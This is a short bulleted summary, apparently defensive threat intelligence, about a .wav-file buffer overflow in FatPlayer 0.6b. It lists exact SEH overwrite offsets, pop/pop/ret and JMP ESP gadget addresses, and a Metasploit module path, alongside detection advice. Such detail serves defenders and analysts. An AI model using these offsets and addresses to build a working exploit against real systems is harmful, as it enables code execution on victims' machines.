  • Buffer overflow is triggered by a .wav file containing a long string; the overflow offset to SEH overwrite occurs at 4132 bytes of padding.
  • SEH-based exploit uses a pop/pop/ret gadget from msacm32.drv at address 0x72D11F39 to redirect execution.
  • Alternative SEH overwrite uses a pop/pop/ret gadget from FatPlayer.exe itself at address 0x0046bee3.
  • Universal exploit uses a JMP ESP gadget at address 0x00442200 within the application for shellcode redirection.
  • Malicious .wav files crafted for this exploit are padded to approximately 40000 bytes total; detection of anomalously large .wav files opened by FatPlayer 0.6b is warranted.
  • The overflow offset for the universal exploit variant is 4124 bytes before the SEH record, slightly different from the 4132-byte offset in other variants.
  • Metasploit module exists for this vulnerability targeting Windows fileformat via a crafted .wav file; monitor for use of the metasploit module path windows/fileformat/fatplayer_wav.
  • ·Exploits were tested specifically on Windows XP SP3; gadget addresses (msacm32.drv, FatPlayer.exe) are version- and OS-specific and will differ on other platforms or patch levels.
